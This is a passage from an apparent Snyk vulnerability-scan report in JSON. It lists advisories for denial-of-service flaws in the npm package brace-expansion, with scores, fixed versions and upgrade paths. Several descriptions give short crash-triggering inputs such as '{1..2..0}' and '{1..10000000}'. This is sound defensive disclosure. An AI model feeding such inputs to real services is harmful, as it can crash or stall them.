`max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": 